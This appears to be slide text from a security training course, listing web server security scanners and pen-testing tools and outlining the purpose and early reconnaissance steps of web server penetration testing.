- Displays injected code snippets
- Deploys as cloud-based SaaS
- Integrates with WAF or web server modules for instant mitigation

http://www.armorize.com

Web Server Malware Infection Monitoring Tool: QualysGuard Malware detection

Web Server Security Tools

Retina CS
http://www.beyondtrust.com

Nscan
http://nscan.hypermart.net

NetIQ Secure Configuration Manager
http://www.netiq.com

SAINTscanner
http://www.saintcorporation.com

HP WebInspect
https://download.hpsmartupdate.com

Arirang
http://monkey.org

N-Stalker Web Application Security Scanner
http://www.nstalker.com

Infiltrator
http://www.infiltration-systems.com

WebCruiser
http://sec4app.com

dotDefender
http://www.applicure.com

Web Server Penetration Testing

- Web server pen testing is used to **identify**, **analyze**, and **report vulnerabilities** such as authentication weaknesses, configuration errors, protocol related vulnerabilities, etc. in a web server
- The best way to perform penetration testing is to **conduct a series of methodical and repeatable tests**, and to work through all of the different application vulnerabilities

Why Webserver Pen Testing?

Verification of Vulnerabilities

To exploit the vulnerability in order to test and fix the issue

Remediation of Vulnerabilities

To retest the solution against vulnerability to ensure that it is completely secure

Identification of Web Infrastructure

To identify make, version, and update levels of web servers; this helps in selecting exploits to test for associated published vulnerabilities

Web Server Penetration Testing

- Webserver penetration testing starts with **collecting as much information** as possible about an organization ranging from its physical location to operating environment
- Use **social engineering techniques** to collect information such as human resources, contact details, etc. that may help in **webserver authentication testing**
- Use **Whois database query tools** to get the details about the target such as domain name, IP address, administrative contacts, Autonomous System Number, DNS, etc.
- **Note:** Refer Module 02: Footprinting and Reconnaissance for more information gathering techniques

Web Server Penetration Testing

Web Server Penetration Testing

Web Server Penetration Testing

Web Server Pen Testing Tool: Core Impact@ Pro

CORE Impact® Pro is the software solution for assessing and testing **security vulnerabilities** in the organization:

- Web Applications
- Network Systems
- Endpoint systems
- Wireless Networks
- Network Devices
- Mobile Devices
- IPS/IDS and other defenses

http://www.coresecurity.com

Web Server Pen Testing Tool: Immunity CANVAS

Web Server Pentesting Tool: Arachni

Arachni is an open source, feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the **security of web applications**

http://www.arachni-scanner.com

Next Class

- Web Application Penetration Testing
- Vulnerabilities Testing
- Web Application Hacking
- How to Secure Web Application

Thank you

Q & A